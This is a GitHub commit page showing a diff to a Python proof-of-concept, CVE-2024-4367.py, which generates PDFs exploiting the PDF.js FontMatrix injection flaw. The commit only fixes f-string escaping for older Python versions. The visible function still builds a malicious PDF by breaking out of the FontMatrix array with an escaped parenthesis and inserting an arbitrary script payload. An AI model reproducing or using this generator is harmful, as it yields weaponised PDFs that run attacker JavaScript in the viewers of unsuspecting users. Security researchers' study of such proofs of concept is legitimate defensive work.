Skip to content

Commit

Permalink
resolved f-string backslash SyntaxError for backwards compatibility <…
Browse files Browse the repository at this point in the history
… Python3.12 support
  • Loading branch information
mr-pmillz committed Jun 6, 2024
1 parent ab90389 commit 7c89b8d
Showing 1 changed file with 6 additions and 2 deletions.
8 changes: 6 additions & 2 deletions CVE-2024-4367.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,11 @@
import sys
#!/usr/bin/env python3

import sys

def generate_payload(payload):
backslash_char = "\\"
fmt_payload = payload.replace('(', '\\(').replace(')', '\\)')
font_matrix = f"/FontMatrix [0.1 0 0 0.1 0 (1{backslash_char});\n" + f"{fmt_payload}" + "\n//)]"
return f"""
%PDF-1.4
%DUMMY
Expand Down Expand Up @@ -31,7 +35,7 @@ def generate_payload(payload):
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
/FontMatrix [0.1 0 0 0.1 0 (1\\);\n{payload.replace('(', '\\(').replace(')', '\\)')}\n//)]
{font_matrix}
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
Expand Down

0 comments on commit 7c89b8d

Please sign in to comment.